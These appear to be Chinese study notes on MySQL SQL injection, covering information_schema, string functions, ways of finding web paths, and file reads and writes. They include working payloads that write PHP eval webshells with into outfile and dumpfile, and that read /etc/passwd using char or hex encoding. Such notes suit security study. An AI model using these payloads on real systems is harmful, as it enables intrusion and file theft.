information_schema:
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式
什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
数据库中的符号"." 代表下一级 例如 xiaodi.user表示数据库xiaodi下的user表名
information_schema.tables 记录所有表名信息的表
information_schema.columns 记录所有列名信息的表
table_name 表名
column_name 列名
数据库注入常用函数:
1.字符串连接函数:
concat() 将多个字符串连接成一个字符串 如有任何一个参数为NULL ,则返回值为 NULL。或许有一个或多个参数。 如果所有参数均为非二进制字符串,则结果为非二进制字符串。 如果自变量中含有任一二进制字符串,则结果为一个二进制字符串。一个数字参数被转化为与之相等的二进制字符串格式;
concat_ws() CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。 第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。
group_concat() group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )查询结果默认长度1024字节
2.字符截取函数
substring(string,position,length)
string
参数是要提取子字符串的字符串。position
参数是一个整数,用于指定子串的起始字符,position
可以是正或负整数 从1开始- length 截取长度
mid()
left( Str, index)
- Str–表示待截取的字符串
- index–表示从左边开始共截取多少位
right( Str, index)
- 用法和 LEFT( ) 函数类似,只不过是从右边开始截取 index 位
- 如果我们想要截取中间的某几位,我们可以使用 LEFT( ) 和 RIGHT( ) 的组合
MySQL注入之文件读写操作
文件路径获取方法:
-
报错显示: 一般网站出现错误的时候它会泄露出路径 即报错注入 输入一些 代码使网站访问报错
-
遗留文件 :站长为了调试信息的时候遗留的文件而泄露的路径。用扫描工具可以扫出 例如phpinfo
-
漏洞报错 : 知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径
-
平台配置文件 :通过读取文件来读取搭建网站平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径
-
爆破
报错注入的原理
MYSql内置函数:
在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个
- into dumpfile()
- into outfile()
- load_file()
load_file函数
union select 1,load_file(“c:/inetpub/wwwroot/index.php”),3
into outfile函数
union select 1,"<?php @eval($_GET[x]);?>",3,4,5 into outfile 'C:/Inetpub/wwwroot/cc.php'
into dumpfile 函数
http://10.1.8.8/sql1/Less-1/?id=-1′ union select 1,”<?php eval($_POST[‘m’]);?>”,3 into dumpfile “C:\\phpStudy\\WWW\\ceshi2.php” –+
load _file()函数
1、必须有权限读取并且文件必须完全可读
2、欲读取文件必须在服务器上
3、必须指定文件完整的路径
4、欲读取文件必须小于max_allowed_packet
secure_file_priv的值为NULL时,表示限制mysqld 不允许导入|导出
secure_file_priv的值为空时,表示不对mysqld的导入|导出做限制
如果存在以上条件,还可以注入,那么就可以用load_file()读文件
对于magic_quotes_gpc=on的时候,会过滤引号
可以通过char,16进制等方式来绕过
例如:
·union select 1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100))–+
·union select 1,2,load_file(0x2f6574632f706173737764)–+